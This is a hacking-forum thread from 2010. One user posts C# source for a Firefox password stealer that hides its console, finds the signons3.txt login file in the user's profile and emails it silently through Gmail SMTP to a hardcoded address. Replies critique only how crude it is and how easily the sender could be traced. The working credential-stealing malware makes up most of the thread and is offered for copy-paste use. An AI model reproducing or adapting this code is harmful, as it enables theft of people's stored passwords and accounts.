(06-19-2010 11:11 AM)l3g1sl4tor Wrote:  Here is something I found

Code:

01    using Microsoft.VisualBasic;
02    using System;
03    using System.Collections;
04    using System.Collections.Generic;
05    using System.Data;
06    using System.Diagnostics;
07    using System.IO;
08    using System.Net.Mail;
09    using System.Net;
10    using System.Text;
11    using System.Runtime.InteropServices;
12    
13    namespace ConsoleApplication1
14    {
15        internal class Program
16        {
17    
18            [DllImport("kernel32.dll")]
19            public static extern bool FreeConsole();
20            public static void Main(string[] args)
21            {
22                FreeConsole();
23                try {
24                    bool FoundFile = false;
25                    string Username = "username@gmail.com";
26                    string Password = "password";
27                    string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla\\Firefox\\Profiles";
28                    string[] Dirs = Directory.GetDirectories(DefaultPath);
29    
30                    foreach (string dir in Dirs) {
31                        if ((!FoundFile)) {
32                            string[] Files = Directory.GetFiles(dir);
33    
34                            foreach (string CurrFile in Files) {
35                                if ((!FoundFile)) {
36                                    if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons3.txt")) {
37                                        SmtpClient Client = new SmtpClient("smtp.gmail.com", 587);
38                                        Client.EnableSsl = true;
39                                        NetworkCredential Creds = new NetworkCredential(Username, Password);
40                                        Client.Credentials = Creds;
41                                        MailMessage msg = new MailMessage();
42                                        msg.To.Add(new MailAddress("username@gmail.com"));
43                                        msg.From = new MailAddress(Username);
44                                        msg.Attachments.Add(new Attachment(CurrFile));
45                                        msg.Subject = "Firefox Passwords";
46                                        Client.Send(msg);
47                                        FoundFile = true;
48                                    }
49    
50                                } else {
51                                    break; // TODO: might not be correct. Was : Exit For
52                                }
53                            }
54                        } else {
55                            break; // TODO: might not be correct. Was : Exit For
56                        }
57                    }
58    
59                } catch {
60                }
61            }
62        }
63    }

Copy - paste, havent looked it, but i suppose it will use for something @Alphablend

Looks like it sends the actual file instead of decrypting the passwords...And this method is pretty bad. With a disassembler you can find the hackers email/password. Thats how skids get owned

Yes, I see it now